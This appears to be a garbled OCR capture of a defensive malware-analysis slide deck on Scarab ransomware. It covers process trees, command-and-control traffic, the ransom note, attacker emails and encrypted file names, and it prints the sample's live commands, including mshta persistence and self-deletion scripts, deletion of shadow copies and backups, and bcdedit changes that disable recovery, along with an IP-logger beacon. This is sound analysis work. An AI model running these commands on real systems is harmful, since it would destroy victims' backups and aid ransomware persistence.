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Encryption of Files
FileNaming Convention
Written in

Encryption Algo

Attackers Email suupport@protonmail.com

bitkick@protonmail.com

FileExtension

FUIll Decryption = $500

RANSOM



mailto:suupport@protonmail.com
mailto:bitkick@protonmail.com
http://SCARAB.COM

FLOW (OFFLINE VARIANT)

CreateProcessW ( NULL, ""C:\Windows\system32\cmd.exe" /c copy /vy

“C:\Users\foo\Desktop\PAYLOAD SCAR.exe" "C:\Users\foo\RppData\Roaming\sevnz.exe"", NULL, NULL, FALSE, CREATE NEW_CONSOLE |

NORMAL PRIORITY CLASS, NULL, “C:\Windows\system32\”, .., ..);

4

!

treate?:ocessw ( NULL, "mshta.exe "javascript:o=new ActiveXObject ('Scripting.FileSystemObject');setInterval (function() {try{o.DeleteFile ('PAYLOAD SCAR.exe');close() }catch(e){}},10);"", NULL, NULL, FALSE,

NORMAL PRIORITY CLASS, NULL, "C:\Users\foo\Desktop\",

4

l

. ——

4 I

\ 1 |
|

|

mshta.exe 2016

mshta.exe "javascript:o=n%w ActiveXObject ('WScript.Shell') ;x=new ActiveXObject ('Scripting.FileSystemObject');setInterval (function() {try{i=x.GetFile('sevnz.exe').Path;o.RegWrite ('HKCU\\Software\\Microsoft\

\Windows\\CurrentVersion\\RunOnce\\{45E73A27-D16C-4E. ..

cmd.exe" /c copy /y "C:\Users\foo\Desktop\PAYLOAD_SCAR.exe" "C:\Users\foo\AppData\Roaming\sevnz.exe"
consent.exe

PAYLOAD_SCAR.exe" runas

cmd.exe" /c copy /y "C:\Users\foo\Desktop\PAYLOAD_SCAR.exe" "C:\Users\foo\AppData\Roaming\sevnz.exe"
mshta.exe "javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('PAYLOAD_SCAR.exe');close()}catch(e){}},10);"

mshta.exe "javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('sevnz.exe').Path;o.RegWrite('HKCU\\S
taskeng.exe {E68C1963-ADE1-43FB-9E69-B4D833B35AC2} S-1-5-18:NT AUTHORITY\System:Service:
C:\Windows\system32\cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0
C:\Windows\system32\cmd.exe /c vssadmin Delete Shadows /All /Quiet

C:\Windows\system32\cmd.exe /c wmic SHADOWCOPY DELETE ‘
C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured —-Embedding

L] » - .
C:\Windows\system32\vssvc.exe T ",
vssadmin Delete Shadows /All /Quiet . ALL - CO M MAN DS
C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
wmic SHADOWCOPY DELETE

Disable system restore (wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:@,

PAYLOAD_SCAR .exe 3532

PAYLOAD_SCAR exe 3656

"€ _ PAYLOAD_SCAR exe 2804

~ ~
~ ~
~
~

~

~

PAYLOAD_SCAR exe 1720

N

cmd.exe 3224 sevnz.exe 2052 mshta.exe 536

sevnz.exe 980

cmd.exe 1208 cmd.exe 2484 cmd.exe 1664 cmd.exe 168 ' cmd.exe 1020

WMIC .exe 628

vssadmin.exe 1360



FLOW (Command & Control 88.99.66.31:80). Different Variant

cmd.exe 2728
cmd.exe 3128

cmd.exe 1136 vssadmin.exe 1240
mshta.exe 1948

I
I
I
I
I
I
I
I cmd.exe 3472
I
I
I
I
I
I
I
I

=
mshta.exe 3748
cmd.exe 3492 / cmd.exe 4020 cmd .exe 2560

cmd.exe 1444
> L - — > ~ ‘ ~
= SCARAB_PAYLOAD.exe 4032 D) {  SCARAB_PAYLOAD exe 3504 D) {  SCARAB_PAYLOADexe 3184 O Iil_\ﬂls_l’/\YLOADAexe 3268 sevnzexe 268 ) ( sevnzexe 2332 notepad.exe 3300
o i — — — TN =

mshta.exe 3180
WmiPrvSE exe 1940 mshta.exe 3628
88.99.66.31 80

- MK I )™ — = = = = = === = ====m=m=mmssmsmsmsmssmsmsmmssmmssmsmsmmsmsmsmesmmememememmEmemem e

explorer.exe 2384

o.Run("cmd.exe /c wmic SHADOWCOPY DELETE",Q);

o.Run("cmd.exe /c vssadmin Delete Shadows /All /Quiet",0);

o.Run("cmd.exe /c bcdedit /set {d

coveryenabled No",0);

o.Run("cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures",0);

"C:\Users\foo\Desktop\SCARAB_PAYLOAD.exe" runas
—> CONSENT

"C:\Users\foo\AppData\Roaming\sevnz.exe"

mshta.exe "javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('SCARAB_PAYLOA
D.exe');close()}catch(e){}},10);"

mshta.exe "javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(funct
ion(){try{i=x.GetFile('sevnz.exe').Path;o.RegWrite('HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\uSjBVNE',1i);}
catc...

mshta.exe "javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\Software\\SQYCA\\FXKGK"'));close();"
"C:\Windows\System32\cmd.exe" /c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0

"C:\Windows\System32\cmd.exe" /c wmic SHADOWCOPY DELETE

"C:\Windows\System32\cmd.exe" /c vssadmin Delete Shadows /All /Quiet

"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No

"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
c1lhf03028ja<VICTIMS_IP_ADDRESS>iplogger.co/153635676430083148690241

C:\Windows\system32\cmd.exe /c start /max notepad.exe "C:\Users\foo\IF YOU WANT TO GET ALL YOUR FILES BACK, PLEASE READ THIS.T
XTII

notepad.exe "C:\Users\foo\IF YOU WANT TO GET ALL YOUR FILES BACK, PLEASE READ THIS.TXT"
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TRAFFIC (Command & Control 88.99.66.31:80)

======= ========= (UDURRANI) =============== =======

(LAYER: 4)

s_port: 53 |d_port: 62981 |1len=62981
7D A6 81 80 00 01 00 01 00 00 00 00 08 69 70 6C Feu?iiinnaanaipl
6F 67 67 65 72 02 63 6F 00 00 01 00 01 Co OC 00 09Qger.COususssss
01 00 01 00 00 00 05 00 04 58 63 42 1F «aaaaaaaXCB.

|
|
3WAY .
A 4
(UDURRANTI)
172.16.177.141 TO IP ADDRESS 88.99.66.31
PORT INFORMATION (49198, 80)
SEQUENCE INFORMATION (2093074817, 0) -
(14: 20: 20: 66) -

(UDURRANTI )
TO IP ADDRESS 172.16.177.141
PORT INFORMATION (80, 49198)

SEQUENCE INFORMATION (3954714974, 2093074818)

(14: 20: 20: 60)

(UDURRANT)
(ACKN) ACK PACKET SENT FROM eZRETVZIETE TO IP ADDRESS 88.99.66.31
PORT INFORMATION (49198, 80)
SEQUENCE INFORMATION (2093074818, 3954714975)
(14: 20: 20: 60)

GET
=== (UDURRANTI) == == =

(DATA PUSH!) IS COMING FROM iNFB(PVyatil TO IP ADDRESS 88.99.66.31
PORT INFORMATION (49198, 80)
SEQUENCE INFORMATION (2093074818, 3954714975)

(14: 20: 20: 101)
GET /18RtV6.jpg HTTP/1.1
Host: iplogger.co
|

RESPONSE (UDURRANT)

(DATA PUSH!) IS COMING FROM tI:F:FMJ-¥ckl TO IP ADDRESS 172.16.177.141
PORT INFORMATION (80, 49198)
SEQUENCE INFORMATION (3954714975, 2093074865)

(14: 20: 20: 622)
HTTP/1.1 200 OK
Server: nginx
Date: Sat, 24 Mar 2018 06:07:37 GMT
Co
ntent-Type: image/png
Transfer-Encoding: chunked
Connection: keep-ali
ve
Set-Cookie: PHPSESSID=5k7km249u2d@0j92hj9fq@jnj55; path=/; HttpOnly

Pragma: no-cache
Set-Cookie: clhf@03028ja=94.59.94.147; expires=Wed, 1
8-Jul-2029 05:49:51 GMT; Max—-Age=357176534; path=/
Cache-Control: max-
age=315360000

Expires: Thu, 31 Dec 2037 23:55:55 GMT
X-Frame-Options:

SAMEORIGIN

74
?PNG

IHDR%?V?PLTE?2z=?
tRNS@?7f pHYs??7+
IDA?c ?2qd?IEND?B" ?

0


Usman Durrani


Usman Durrani


Usman Durrani



C:\Users\foo\A ppData\Roaming\S€VI1Z .€X€ [ 0x00400000 ]
C:\Windows\SysWOW64\ntdll.dll [ ]
C:\Windows\syswow64\kernel32.dll [ ]
C:\Windows\syswow64\KERNELBASE.dll [ 1
C:\Windows\syswow64\oleaut32.dll [ 1
C:\Windows\syswow64\ole32.dll [ ]
C:\Windows\syswow64\msvert.dll [ 1
C:\Windows\syswow64\GDI32.dll [ ]
C:\Windows\syswow64A\USER32.dll [ ]
C:\Windows\syswow64\ADVAPI32.dll [ 1
C:\Windows\SysWOW64\sechost.dll [ 1
C:\Windows\syswow64\RPCRT4.dll [ ]
C:\Windows\syswow64\SspiCli.dll [ ]
C:\Windows\syswow64\CRYPTBASE.dIl [ 1
C:\Windows\syswow64\LPK .dIl [ ]
C:\Windows\syswow64\USP10.dll [ ]
C:\Windows\system32\mpr.dll [ ]
C:\Windows\syswow64\wininet.dll [ ]
C:\Windows\syswow64A\SHLWAPL.dIl [ 1
C:\Windows\syswow64\Normaliz.dll [ 1
C:\Windows\syswow64\urlmon.dll [ ]
C:\Windows\syswow64\CRYPT32.dll [ ]
C:\Windows\syswow64A\MSASN1.dll [ 1
C:\Windows\syswow64\iertutil.dll [ ]
C:\Windows\syswow64\shell32.dll [ 1
C:\Windows\system32\IMM32.DLL [ 1
C:\Windows\syswow64\MSCTF.dIl [ ]
C:\Windows\system32\uxtheme.dll [ 1
C:\Windows\WinSxS\x86_microsoft.windows.common-
controls_6595b64144ccfl1df_6.0.7600.16385_none_421189da2b7fabfc\comctl32.dll
C:\Windows\syswow64\CLBCatQ.DLL [ 1
C:\Windows\system32\propsys.dll [ ]
C:\Windows\system32\ntmarta.dll [ ]
C:\Windows\syswow64\WLDAP32.dll [ 1
C:\Windows\system32\apphelp.dll [ ]
C:\Windows\syswow64A\SETUPAPL.dIl [ ]
C:\Windows\syswow64\CFGMGR32.dll [ ]
C:\Windows\syswow64\DEVOBJ.dll [ 1
C:\Windows\system32\profapi.dll [ ]
C:\Windows\syswow64\ws2_32.DLL [ 1
C:\Windows\syswow64\NSL.dll [ 1
C:\Windows\system32\dnsapi.DLL [ ]
C:\Windows\system32\iphlpapi. DLL [ ]
C:\Windows\system32\WINNSI.DLL [ 1
C:\Windows\system32\RASAPI32.dll [ 1
C:\Windows\system32\rasman.dll [ 1
C:\Windows\system32\rtutils.dll [ 1
C:\Windows\system32\sensapi.dll [ ]
C:\Windows\system32\NLAapi.dll [ ]
C:\Windows\System32\mswsock.dll [ 1
C:\Windows\System32\winrnr.dll [ ]
C:\Windows\system32\napinsp.dll [ ]
C:\Windows\system32\pnrpnsp.dll [ ]
C:\Windows\system32\wshbth.dll [ ]
C:\Windows\System32\wshtcpip.dll [ ]
C:\Windows\System32\wship6.dll [ ]
C:\Windows\system32\rasadhlp.dll [ ]
C:\Windows\System32\fwpuclnt.dll [ ]

[

MG-Structure =

## FILE_TYPE => PE

*
+
+
*
+
+
+
+
+*

I EERER

Zbikowski>
4
a
8

i386 ...

EXE .

iat Jun 17 98:49:47 2817
Ox1000000 <—- Basex

GUI

(32B>

56832 <- CS
{- CoseBase»

DK, (R,

-data: I, {R>, {W>,

C:\Windows\Sy swoweamshta.exe [ 0x00A 20000 |
C:\Windows\SysWOW64\ntdll.dll [ ]
C:\Windows\syswow64\kernel32.dll [ 1
C:\Windows\syswow64\KERNELBASE.dll [ ]
C:\Windows\syswow64A\ADVAPI32.dll [ 1
C:\Windows\syswow64\msvert.dll [ 1
C:\Windows\SysWOW64\sechost.dll [ 1
C:\Windows\syswow64\RPCRT4.dll [ 1
C:\Windows\syswow64\SspiCli.dll [ ]
C:\Windows\syswow64\CRYPTBASE.dIl [ 1
C:\Windows\SysWOW64\mshtml.dll [ ]
C:\Windows\syswow64\PSAPI.DLL [ 1
C:\Windows\syswow64\GDI32.dll [ ]
C:\Windows\syswow64\USER32.dll [ ]
C:\Windows\syswow6A\LPK.dll [ ]
C:\Windows\syswow64\USP10.dll [ 1
C:\Windows\syswow64\ole32.dll [ ]
C:\Windows\syswow64\urlmon.dll [ ]
C:\Windows\syswow64\OLEAUT32.dIl [ 1
C:\Windows\syswow6A\SHLWAPIL.dIl [ ]
C:\Windows\syswow64\CRYPT32.dll [ ]
C:\Windows\syswow64A\MSASN1.dll [ 1
C:\Windows\syswow64\iertutil.dll [ 1
C:\Windows\SysWOW64\msls31.dll [ 1
C:\Windows\SysWOW64AVERSION.dIl [ 1
C:\Windows\system32\IMM32.DLL [ ]
C:\Windows\syswow64\MSCTFE.dIl [ ]
C:\Windows\SysWOW64\ntmarta.dll [ ]
C:\Windows\syswow64A\WLDAP32.dll [ 1
C:\Windows\system32\uxtheme.dll [ 1
C:\Windows\SysWOW64Adwmapi.dll [ ]
C:\Windows\syswow64\CLBCatQ.DLL [ 1
C:\Windows\WinSxS\x86_microsoft.windows.common-
controls_6595b64144ccf1df_6.0.7600.16385_none_421189da2b7fabfc\comctl32.d1l
C:\Windows\system32\msimtf.dll [ ]
C:\Windows\SysWOW64\OLEACC.DLL [ ]
C:\Windows\SysWOW64\CRYPTSPdIl [ 1
C:\Windows\system32\rsaenh.dll [ 1
C:\Windows\SysWOW64\RpcRtRemote.dll [ ]
C:\Windows\SysWOW6ASXS.DLL [ 1
C:\Windows\SysWOW64\ieframe.dll [ 1
C:\Windows\syswow64\SHELL32.dll [ 1
C:\Windows\SysWOW64\jscript.dll [ ]
C:\Windows\SysWOW64\wshom.ocx [ ]

[




[B3-21-2018-22-28-361-> 2 AyjglcsUo notepad.exe “"C:\Users\foo’\HOW TO RECOUER ENCRYPTED FILES.TXT"

[03-24-2018-08-56-441-> 2 u

[B3-21-2018-22-89-52
[83-21-2018-22-89-52
[A3-21-2018-22-A9-52
[83-21-2018-22-89-52

[B3-21-2018-22-89-52
89

[83-21-2018-22-89-52
[83-21-2018-22-89-52

3-24-2018-07-59-09 1-
B3-24-2018-07-59-09 1-
A3-24-2018-87-59-09 1-
A3-24-2018-07-59-09 1-
03-24-2018-07-59-09 1-
B3-24-2018-07-59-09 1-

3-24-2018-07-59-09 1-
A3-24-2018-87-59-09 1-
3-24-2018-07-59-09 1-
3-24-2018-07-59-09 1-
A3-24-2018-07-59-09 1-

el b e e e L e e e e e e e e e e e e - - I - e - - - L e e e e e - B e |

LLLLLL L L L L L L L L L L LSS

NE notepad.exe “C:\Users\foo\IF YOU WANT TO GET ALL YOUR FILES BA PLEASE READ

File names are replaced with base64 format

N 00 \HELLO\MACRO\QTNZLUEHMOJJXQ. bitkickBprotonmail.com ** 8861
\f 0o \HELLON\MACRO\TLoDN7?m=tnR4UUsU1KrzDrgM8XQ.bitkickPprotonmail.com ¢ 156877
\foo\HELLONMACRON\unglite—db-11\guwluwllt BApXSdMSuLpNROg9s2sRD8x4 . bitkick@protonmail.com % 1597
i " RECOVER ENCRYPTEDN. FLLES .TXT aex 3294
s\ 3RZuSGFol10tdmm3 I kWtMGx2kUylnAvullSY .bitkick@protonmail.com ¢ 7789
2386 pxKakX EDFf RLFMoRDbmI 4pxedT pEW8Ue87DFb6Q9Ailn.bitkick@protonmail.com ¢ 7357

PEZksR?gUN?tEub6 7n40UT +y0478MThDudy5Sg?EhGhGJWY =Comlu=eefAf .bitkickCprotonmail.com *x 7821
¢ et X 589

AcfwG64Y3cGhJpagurAdDKbBZ? j8FDKysY8 jxdUg?ad4wYHAHIN3T6gZM . bitkick@protonmail.com ¢ 9581
rs\foo\HELLO\MACRON\unglite—db—-11?\unglite—samples\DPpg.iGRcWB?87f KEAKw?cE73uqL=BZs%edZM5SUg+A5nvZTH1EZX3NvdWbI . hitkickBprotonmail .com_3*x 18%

rs\foo\HELLONMACRON\unglite—db—11\unglite—samples\E3ubPpquyMb697jU4j6ugeGoz 1SHHEZPNupat IrKzdDoAA . .bitkick@protonmail.com % 18333
i i s\FD»2CADbm+13VUctBUQbglimpgZ?ZBypld?JhUf adJ?cnVecgdJh?pg.bitkick@protonmail.com ¢ 7485
s\HOW TO RECOVER ENCRYPTED FILES.TRT x 3294

\foo\HELLONMACRONE 1bkS =TUY45Af Lze8FhpLQpsCB4 . bitkick@protonmail.com 3 192701

\f 0o \HELLO\MACRONZJNSR8YSDr¥LzxDNDdJh1loGkA4Y Y h2Kxdm7PKUuB8LHCkBX gf RE11qEMOQHQ jF=4JJNKDircujDhQ?+c? jAegx1d¥YPriBe hlpevwQC7ErGA . bitkickBprot

\foo\HELLO\ModcO086AsilkAa=hB6+TUQ.bitkick@protonmail.com ¢ 173773

\fooNHELLOAmZJ6F240p2U2mQ.bitkickPprotonmail.com ¢ 6829

\f 00 \HELLO\RwyGXURGNTLMf ELuOKt 15931i8s8 .bitkicklprotonmail.com % 401725

NoonjiiskikikjsbocfghJKMnajFKpxIuUTI4. . bitkick@protonmail.com % 1181

NooNJJiNkjkikis\HOW TO RECOUER ENCRYPTED FILES.THT 3¢ 3294

\Fuo\Llnk° N4upFzdvkOP=Ed=9Fx8gle¥Y=1dEBA1A.bitkick@protonmail.com ¢ 621
\FSY1ATGKXQURhD?741 LLSNoaOzkbSNtRjUQU . bitkickBprotonmail.com % 1821
\gJPDXoGEMeGUTMe TALHQdvdCGdQI QMUgRzfnCjv +UFg.bitkickPprotonmail.com 3¢ 541

\foo\Links\HOW TO RECOUER ENCRYPTED FILES.TRT = 3294

\foo\Searches\4ysul tX¥Abti=T5Y jjiXFDaSUQk=YAU3nL6kf F+1S6X3sKHf KFIRhirckxw5Tsh2Z90xHk?4Q.bitkickBprotonmail.com % 429

HOU TO RECOVER ENCRYPTED FILES.TRT x 3294

\foo\Searches\m2UuwUuvZJMCJIJAKTDNUNI 74Fu?pSvi4PhaGUl=08S g3xAPbDx=4eHQhQ.bitkick@protonmail.com ¢ 429
" RECOUER ENCRYPTED FILES.TRT xx 3294

\foo\ELS\hPEnn1BdnXDoMd¥eeDZbnk.bitkick@protonmail.com ¢ 14973
N ooN\NRLS\XSMogG6CuiuBMJaxull yyKLZPS4uoo iVl .bitkick@protonmail.com ¢ 14893

\Users\foo\Desktop\Demo\Exploits\Other+HI’\NheapS2.pdf . [suupportBFprotonmail.coml.scarabh ¢ 6493
\Users\foo\Desktop\Demo\Exploits\Other+HP\HeapSp.pdf . [suupportBprotonmail.coml.scarab »** 2653
\Users\foo\Desktop\Demo\Exploits\Other+HP\HP.htnl. [suupport@protonmail.coml.scarabh % 1453
\Users\foo\Desktop\Demo\Exploits\Other+HP\IF YOU WANT TO GET ALL YOUR FILES BACK. PLEASE READ THIS.TXT 3¢ 40863
\Users\foo\Desktop\Demo\Exploits\remoteOnly\fileS.lnk. [suupport@protonmail.com]l.scarab ¢ 973
\Users\foo\Desktop\Demo\Exploits\remoteOf1lysIF YOU WANT TO GET ALL YOUR FILES BACK. PLEASE READ THIS.TRT =x 4063
\Users\foo\Desktop\Demo\Exploits\RemoteZeroDay\IF YOU WANT TO GET ALL YOUR FILES BACK, PLEASE READ THIS.TXT ¢ 40863
\Users\foo\Desktop\Demo\Exploits\RemoteZeroDay\start_server_443.exe.[suupportBprotonmail.coml.scarabh ¢ 1741502
\Users\foo\Desktop\Demo\Exploits\RemoteZeroDay\usmanud.dIll. Tsuupportlprotonmail.coml.scarab *¥ 16781
\Users\foo\Desktop\Demo\Exploits\RemoteZeroDay\xorli9@8.exe. [suupport@protonmail.coml.scarabh ¢ 298085
\Users\foo\Desktop\Demo\Exploits\RemoteZeroDay\xor8@.exe.[suupportBprotonmail.com]l.scarab »** 298085
\Users\foo\Desktop\Demo\IF ¥YOU WANT TO GET ALL YOUR FILES BACK. PLEASE READ THIS.TRT 3¢ 4863

1->
1->
1->
1->
1->
1->
A3-24-2018-07-59-091->
1->
1->
1->
1->
1->
I d

i "xd " ' el e v e e v v e

A3-24-2018-A7-59-09 1- \Users\foo\Desktop\Demo\Malware\AU\conhost.exe. [suupportBprotonmail.coml.scarab »** 514749

Nour files are now encrypted?

6A02000000060000661A1EFDB1D92898DB3316CC356927F7BFFCS58EB9822DDOBCOY12839F2B5B319B7F36B8BFS5B11B7565D7ED
S4DFF56CF95EAEQ213996DDF785F78B7D92943B1D792B75B29F20DC4D8146AB633EDGEEABSEL472EFQEL47598B37C6BAF2779A
E17BO66821E3D5567DAB2448111DA4CDAALB13CBIEY77221FABFS5COFAG27BB891BBE7231BEBL254BEBSS5D85645E400E6 BEF BBC
86D38CA62B3BDS58C77EDCA4BCS1CE9ABG334EET14E22A97D6F8B06E4FAGUFCABDS56FE1A3BE1C28ABAD323A2C62C11F1DA4ATD
786A550373B8BOF7DBFB6163E95B47ALL4206CHA3CA70526BB312BAAAFCBI1C99AEDS373D3319966317006B46EC5930275FFF B9
J6ASBEEAFBOE203042398FFB5114B57F4336AF8D54F81083BEGSACCDASEGABLUEC7AFBI1C9E31DFB1C583067B6D674DEEGCCS542
88EE1CAAGF73EBL47172FAB127B88ADC6B45A926DEA223DED B3

All your files have been encrypted due to a security problem with your PC.

Really? Tell me more
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WALLPAPER

A B
“decrypter

Select and restore one file

Browsze... | Restore |

Search and decrypt all files

- =
S rrmes iu“-’"{:ﬂ

Scan drives Scan shares Stop zearch
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BUOOTMGR 1s mMissing

Press Ctrl+Alt+Del to restart

X

Select a keyboard input method:

| - |

Next> I Cancel |




\Sessions\1\BaseNamedObjects\uSjBVNE

\Sessions\1\BaseNamedObjects\c: !'users!foo'!appdata!local!microsoft!windows'history!
history.ie5!

\Sessions\1\BaseNamedObjects\_!'MSFTHISTORY! _

\Sessions\1\BaseNamedObjects\c: !users!foo'!appdata!local!microsoft!windows!temporary
\Sessions\1\BaseNamedObjects\c: !users!foo'!appdata!roaming!microsoft!windows!cookies!
\Sessions\1\BaseNamedObjects\WininetStartupMutex
\Sessions\1\BaseNamedObjects\WininetConnectionMutex
\Sessions\1\BaseNamedObjects\WininetProxyRegistryMutex
\Sessions\1\BaseNamedObjects\HGFSMUTEX

\Sessions\1\BaseNamedObjects\RasPbFile
\Sessions\1\BaseNamedObjects\ZonesCounterMutex
\Sessions\1\BaseNamedObjects\ZoneAttributeCacheCounterMutex
\Sessions\1\BaseNamedObjects\ZonesCacheCounterMutex
\Sessions\1\BaseNamedObjects\ZoneAttributeCacheCounterMutex
\Sessions\1\BaseNamedObjects\!IETld!Mutex
\Sessions\1\BaseNamedObjects\ZonesLockedCacheCounterMutex
\Sessions\1\BaseNamedObjects\c: 'users!foo'!appdata!roaming!microsoft!windows'!ietldcache!
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